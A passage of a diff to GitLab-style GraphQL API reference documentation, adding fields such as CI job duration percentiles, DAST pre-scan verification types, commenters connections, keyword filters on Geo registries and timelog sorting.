+| <a id="cijobsdurationstatisticsp90"></a>`p90` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 90th percentile. 90% of the durations are lower than this value. |
+| <a id="cijobsdurationstatisticsp95"></a>`p95` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 95th percentile. 95% of the durations are lower than this value. |
+| <a id="cijobsdurationstatisticsp99"></a>`p99` **{warning-solid}** | [`Duration`](#duration) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. 99th percentile. 99% of the durations are lower than this value. |
+
+### `CiJobsStatistics`
+
+Statistics for a group of CI jobs.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="cijobsstatisticsqueuedduration"></a>`queuedDuration` **{warning-solid}** | [`CiJobsDurationStatistics`](#cijobsdurationstatistics) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. Statistics for amount of time that jobs were waiting to be picked up. The calculation is performed based on the most recent 100 jobs executed by the 5000 most recently created runners in context. If no filter is applied to runners, the calculation is performed based on the most recent 100 jobs globally. |
+
### `CiManualVariable`
CI/CD variables given to a manual job.
@@ -11183,7 +11347,7 @@ CI/CD variables for a project.
| <a id="cirunnerdescription"></a>`description` | [`String`](#string) | Description of the runner. |
| <a id="cirunnereditadminurl"></a>`editAdminUrl` | [`String`](#string) | Admin form URL of the runner. Only available for administrators. |
| <a id="cirunnerexecutorname"></a>`executorName` | [`String`](#string) | Executor last advertised by the runner. |
-| <a id="cirunnergroups"></a>`groups` | [`GroupConnection`](#groupconnection) | Types::GroupConnection. (see [Connections](#connections)) |
+| <a id="cirunnergroups"></a>`groups` | [`GroupConnection`](#groupconnection) | Groups the runner is associated with. For group runners only. (see [Connections](#connections)) |
| <a id="cirunnerid"></a>`id` | [`CiRunnerID!`](#cirunnerid) | ID of the runner. |
| <a id="cirunneripaddress"></a>`ipAddress` | [`String`](#string) | IP address of the runner. |
| <a id="cirunnerjobcount"></a>`jobCount` | [`Int`](#int) | Number of jobs processed by the runner (limited to 1000, plus one to indicate that more items exist). |
@@ -11769,6 +11933,30 @@ A custom emoji uploaded by user.
| <a id="customerrelationsorganizationname"></a>`name` | [`String!`](#string) | Name of the organization. |
| <a id="customerrelationsorganizationupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp the organization was last updated. |
+### `DastPreScanVerification`
+
+Represents a DAST Pre Scan Verification.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="dastprescanverificationprescanverificationsteps"></a>`preScanVerificationSteps` | [`[DastPreScanVerificationStep!]`](#dastprescanverificationstep) | Pre Scan Verifications Steps. |
+| <a id="dastprescanverificationstatus"></a>`status` | [`DastPreScanVerificationStatus`](#dastprescanverificationstatus) | Status of the pre scan verification. |
+| <a id="dastprescanverificationvalid"></a>`valid` | [`Boolean!`](#boolean) | Whether or not the configuration has changed after the last pre scan run. |
+
+### `DastPreScanVerificationStep`
+
+Represents a DAST Pre Scan Verification Step.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="dastprescanverificationsteperrors"></a>`errors` | [`[String!]`](#string) | Errors that occurred in the pre scan verification step. |
+| <a id="dastprescanverificationstepname"></a>`name` | [`String`](#string) | Name of the pre scan verification step. |
+| <a id="dastprescanverificationstepsuccess"></a>`success` | [`Boolean!`](#boolean) | Whether or not the pre scan verification step has errors. |
+
### `DastProfile`
Represents a DAST Profile.
@@ -11778,6 +11966,7 @@ Represents a DAST Profile.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="dastprofilebranch"></a>`branch` | [`DastProfileBranch`](#dastprofilebranch) | Associated branch. |
+| <a id="dastprofiledastprescanverification"></a>`dastPreScanVerification` | [`DastPreScanVerification`](#dastprescanverification) | DAST Pre Scan Verification associated with the site profile. Will always return `null` if `dast_on_demand_scans_scheduler` feature flag is disabled. |
| <a id="dastprofiledastprofileschedule"></a>`dastProfileSchedule` | [`DastProfileSchedule`](#dastprofileschedule) | Associated profile schedule. |
| <a id="dastprofiledastscannerprofile"></a>`dastScannerProfile` | [`DastScannerProfile`](#dastscannerprofile) | Associated scanner profile. |
| <a id="dastprofiledastsiteprofile"></a>`dastSiteProfile` | [`DastSiteProfile`](#dastsiteprofile) | Associated site profile. |
@@ -11839,6 +12028,7 @@ Represents a DAST scanner profile.
| <a id="dastscannerprofilescantype"></a>`scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. |
| <a id="dastscannerprofileshowdebugmessages"></a>`showDebugMessages` | [`Boolean!`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. |
| <a id="dastscannerprofilespidertimeout"></a>`spiderTimeout` | [`Int`](#int) | Maximum number of minutes allowed for the spider to traverse the site. |
+| <a id="dastscannerprofiletaglist"></a>`tagList` | [`[String!]`](#string) | Runner tags associated with the scanner profile. |
| <a id="dastscannerprofiletargettimeout"></a>`targetTimeout` | [`Int`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. |
| <a id="dastscannerprofileuseajaxspider"></a>`useAjaxSpider` | [`Boolean!`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. |
@@ -12080,6 +12270,33 @@ Tags for a given deployment.
| <a id="deploymenttagname"></a>`name` | [`String`](#string) | Name of this git tag. |
| <a id="deploymenttagpath"></a>`path` | [`String`](#string) | Path for this tag. |
+### `DescriptionVersion`
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="descriptionversioncandelete"></a>`canDelete` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. |
+| <a id="descriptionversiondeletepath"></a>`deletePath` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. |
+| <a id="descriptionversiondeleted"></a>`deleted` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. |
+| <a id="descriptionversiondescription"></a>`description` | [`String`](#string) | Content of the given description version. |
+| <a id="descriptionversiondiffpath"></a>`diffPath` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.7. For backwards compatibility with REST API version and to be removed in a next iteration. |
+| <a id="descriptionversionid"></a>`id` | [`DescriptionVersionID!`](#descriptionversionid) | ID of the description version. |
+
+#### Fields with arguments
+
+##### `DescriptionVersion.diff`
+
+Description diff between versions.
+
+Returns [`String`](#string).
+
+###### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="descriptionversiondiffversionid"></a>`versionId` | [`DescriptionVersionID`](#descriptionversionid) | ID of a previous version to compare. If not specified first previous version is used. |
+
### `Design`
A single design.
@@ -12088,6 +12305,7 @@ A single design.
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="designcommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) |
| <a id="designdiffrefs"></a>`diffRefs` | [`DiffRefs!`](#diffrefs) | Diff refs for this design. |
| <a id="designdiscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) |
| <a id="designevent"></a>`event` | [`DesignVersionEvent!`](#designversionevent) | How this design was changed in the current version. |
@@ -12495,6 +12713,18 @@ Returns [`[DoraMetric!]`](#dorametric).
| <a id="dorametricdate"></a>`date` | [`String`](#string) | Date of the data point. |
| <a id="dorametricvalue"></a>`value` | [`Float`](#float) | Value of the data point. |
+### `Email`
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="emailconfirmedat"></a>`confirmedAt` | [`Time`](#time) | Timestamp the email was confirmed. |
+| <a id="emailcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp the email was created. |
+| <a id="emailemail"></a>`email` | [`String!`](#string) | Email address. |
+| <a id="emailid"></a>`id` | [`ID!`](#id) | Internal ID of the email. |
+| <a id="emailupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp the email was last updated. |
+
### `Environment`
Describes where code is deployed for a project.
@@ -12589,6 +12819,7 @@ Represents an epic.
| <a id="epicblockingcount"></a>`blockingCount` | [`Int`](#int) | Count of epics that this epic is blocking. |
| <a id="epicclosedat"></a>`closedAt` | [`Time`](#time) | Timestamp of when the epic was closed. |
| <a id="epiccolor"></a>`color` | [`String`](#string) | Color of the epic. Returns `null` if `epic_color_highlight` feature flag is disabled. |
+| <a id="epiccommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) |
| <a id="epicconfidential"></a>`confidential` | [`Boolean`](#boolean) | Indicates if the epic is confidential. |
| <a id="epiccreatedat"></a>`createdAt` | [`Time`](#time) | Timestamp of when the epic was created. |
| <a id="epicdefaultprojectforissuecreation"></a>`defaultProjectForIssueCreation` | [`Project`](#project) | Default Project for issue creation. Based on the project the user created the last issue in. |
@@ -12830,6 +13061,7 @@ Relationship between an epic and an issue.
| <a id="epicissueblockingcount"></a>`blockingCount` | [`Int!`](#int) | Count of issues this issue is blocking. |
| <a id="epicissueclosedasduplicateof"></a>`closedAsDuplicateOf` | [`Issue`](#issue) | Issue this issue was closed as a duplicate of. |
| <a id="epicissueclosedat"></a>`closedAt` | [`Time`](#time) | Timestamp of when the issue was closed. |
+| <a id="epicissuecommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) |
| <a id="epicissueconfidential"></a>`confidential` | [`Boolean!`](#boolean) | Indicates the issue is confidential. |
| <a id="epicissuecreatenoteemail"></a>`createNoteEmail` | [`String`](#string) | User specific email address for the issue. |
| <a id="epicissuecreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. |
@@ -13162,6 +13394,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodecisecurefileregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodecisecurefileregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodecisecurefileregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodecisecurefileregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13180,12 +13413,13 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodecontainerrepositoryregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodecontainerrepositoryregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodecontainerrepositoryregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodecontainerrepositoryregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
##### `GeoNode.dependencyProxyBlobRegistries`
-Find Dependency Proxy Blob registries on this Geo node. Ignored if `geo_dependency_proxy_blob_replication` feature flag is disabled.
+Find Dependency Proxy Blob registries on this Geo node.
WARNING:
**Introduced** in 15.6.
@@ -13202,16 +13436,13 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodedependencyproxyblobregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodedependencyproxyblobregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodedependencyproxyblobregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodedependencyproxyblobregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
##### `GeoNode.dependencyProxyManifestRegistries`
-Find Dependency Proxy Manifest registries on this Geo node. Ignored if `geo_dependency_proxy_manifest_replication` feature flag is disabled.
-
-WARNING:
-**Introduced** in 15.6.
-This feature is in Alpha. It can be changed or removed at any time.
+Find Dependency Proxy Manifest registries on this Geo node.
Returns [`DependencyProxyManifestRegistryConnection`](#dependencyproxymanifestregistryconnection).
@@ -13224,6 +13455,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodedependencyproxymanifestregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodedependencyproxymanifestregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodedependencyproxymanifestregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodedependencyproxymanifestregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13242,6 +13474,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodegroupwikirepositoryregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodegroupwikirepositoryregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodegroupwikirepositoryregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodegroupwikirepositoryregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13260,6 +13493,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodejobartifactregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodejobartifactregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodejobartifactregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodejobartifactregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13278,6 +13512,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodelfsobjectregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodelfsobjectregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodelfsobjectregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodelfsobjectregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13296,6 +13531,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodemergerequestdiffregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodemergerequestdiffregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodemergerequestdiffregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodemergerequestdiffregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13314,6 +13550,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodepackagefileregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodepackagefileregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodepackagefileregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodepackagefileregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13332,6 +13569,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodepagesdeploymentregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodepagesdeploymentregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodepagesdeploymentregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodepagesdeploymentregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13350,6 +13588,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodepipelineartifactregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodepipelineartifactregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodepipelineartifactregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodepipelineartifactregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13368,6 +13607,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodesnippetrepositoryregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodesnippetrepositoryregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodesnippetrepositoryregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodesnippetrepositoryregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13386,6 +13626,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodeterraformstateversionregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodeterraformstateversionregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodeterraformstateversionregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodeterraformstateversionregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13404,6 +13645,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="geonodeuploadregistriesids"></a>`ids` | [`[ID!]`](#id) | Filters registries by their ID. |
+| <a id="geonodeuploadregistrieskeyword"></a>`keyword` | [`String`](#string) | Filters registries by their attributes using a keyword. |
| <a id="geonodeuploadregistriesreplicationstate"></a>`replicationState` | [`ReplicationStateEnum`](#replicationstateenum) | Filters registries by their replication state. |
| <a id="geonodeuploadregistriesverificationstate"></a>`verificationState` | [`VerificationStateEnum`](#verificationstateenum) | Filters registries by their verification state. |
@@ -13441,6 +13683,7 @@ GPG signature for a signed commit.
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="groupachievements"></a>`achievements` **{warning-solid}** | [`AchievementConnection`](#achievementconnection) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. Achievements for the namespace. Returns `null` if the `achievements` feature flag is disabled. |
| <a id="groupactualrepositorysizelimit"></a>`actualRepositorySizeLimit` | [`Float`](#float) | Size limit for repositories in the namespace in bytes. |
| <a id="groupadditionalpurchasedstoragesize"></a>`additionalPurchasedStorageSize` | [`Float`](#float) | Additional storage purchased for the root namespace in bytes. |
| <a id="groupallowstalerunnerpruning"></a>`allowStaleRunnerPruning` | [`Boolean!`](#boolean) | Indicates whether to regularly prune stale group runners. Defaults to false. |
@@ -14144,6 +14387,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="grouptimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. |
| <a id="grouptimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. |
| <a id="grouptimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. |
+| <a id="grouptimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. |
| <a id="grouptimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. |
| <a id="grouptimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. |
| <a id="grouptimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. |
@@ -14529,6 +14773,7 @@ Describes an issuable resource link for incident issues.
| <a id="issueblockingcount"></a>`blockingCount` | [`Int!`](#int) | Count of issues this issue is blocking. |
| <a id="issueclosedasduplicateof"></a>`closedAsDuplicateOf` | [`Issue`](#issue) | Issue this issue was closed as a duplicate of. |
| <a id="issueclosedat"></a>`closedAt` | [`Time`](#time) | Timestamp of when the issue was closed. |
+| <a id="issuecommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) |
| <a id="issueconfidential"></a>`confidential` | [`Boolean!`](#boolean) | Indicates the issue is confidential. |
| <a id="issuecreatenoteemail"></a>`createNoteEmail` | [`String`](#string) | User specific email address for the issue. |
| <a id="issuecreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. |
@@ -14957,6 +15202,7 @@ Defines which user roles, users, or groups can merge into a protected branch.
| <a id="mergerequestautomergeenabled"></a>`autoMergeEnabled` | [`Boolean!`](#boolean) | Indicates if auto merge is enabled for the merge request. |
| <a id="mergerequestautomergestrategy"></a>`autoMergeStrategy` | [`String`](#string) | Selected auto merge strategy. |
| <a id="mergerequestavailableautomergestrategies"></a>`availableAutoMergeStrategies` | [`[String!]`](#string) | Array of available auto merge strategies. |
+| <a id="mergerequestcommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) |
| <a id="mergerequestcommitcount"></a>`commitCount` | [`Int`](#int) | Number of commits in the merge request. |
| <a id="mergerequestcommits"></a>`commits` | [`CommitConnection`](#commitconnection) | Merge request commits. (see [Connections](#connections)) |
| <a id="mergerequestcommitswithoutmergecommits"></a>`commitsWithoutMergeCommits` | [`CommitConnection`](#commitconnection) | Merge request commits excluding merge commits. (see [Connections](#connections)) |
@@ -15123,7 +15369,9 @@ A user assigned to a merge request.
| <a id="mergerequestassigneeavatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. |
| <a id="mergerequestassigneebot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. |
| <a id="mergerequestassigneecallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) |
+| <a id="mergerequestassigneecommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. |
| <a id="mergerequestassigneeemail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). |
+| <a id="mergerequestassigneeemails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) |
| <a id="mergerequestassigneegitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. |
| <a id="mergerequestassigneegroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. |
| <a id="mergerequestassigneegroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) |
@@ -15132,6 +15380,7 @@ A user assigned to a merge request.
| <a id="mergerequestassigneemergerequestinteraction"></a>`mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. |
| <a id="mergerequestassigneename"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. |
| <a id="mergerequestassigneenamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. |
+| <a id="mergerequestassigneenamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) |
| <a id="mergerequestassigneepreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. |
| <a id="mergerequestassigneeprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. |
| <a id="mergerequestassigneeprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) |
@@ -15317,6 +15566,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="mergerequestassigneetimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. |
| <a id="mergerequestassigneetimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. |
| <a id="mergerequestassigneetimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. |
+| <a id="mergerequestassigneetimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. |
| <a id="mergerequestassigneetimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. |
| <a id="mergerequestassigneetimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. |
| <a id="mergerequestassigneetimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. |
@@ -15353,7 +15603,9 @@ The author of the merge request.
| <a id="mergerequestauthoravatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. |
| <a id="mergerequestauthorbot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. |
| <a id="mergerequestauthorcallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) |
+| <a id="mergerequestauthorcommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. |
| <a id="mergerequestauthoremail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). |
+| <a id="mergerequestauthoremails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) |
| <a id="mergerequestauthorgitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. |
| <a id="mergerequestauthorgroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. |
| <a id="mergerequestauthorgroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) |
@@ -15362,6 +15614,7 @@ The author of the merge request.
| <a id="mergerequestauthormergerequestinteraction"></a>`mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. |
| <a id="mergerequestauthorname"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. |
| <a id="mergerequestauthornamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. |
+| <a id="mergerequestauthornamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) |
| <a id="mergerequestauthorpreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. |
| <a id="mergerequestauthorprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. |
| <a id="mergerequestauthorprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) |
@@ -15547,6 +15800,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="mergerequestauthortimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. |
| <a id="mergerequestauthortimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. |
| <a id="mergerequestauthortimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. |
+| <a id="mergerequestauthortimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. |
| <a id="mergerequestauthortimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. |
| <a id="mergerequestauthortimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. |
| <a id="mergerequestauthortimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. |
@@ -15602,7 +15856,9 @@ A user participating in a merge request.
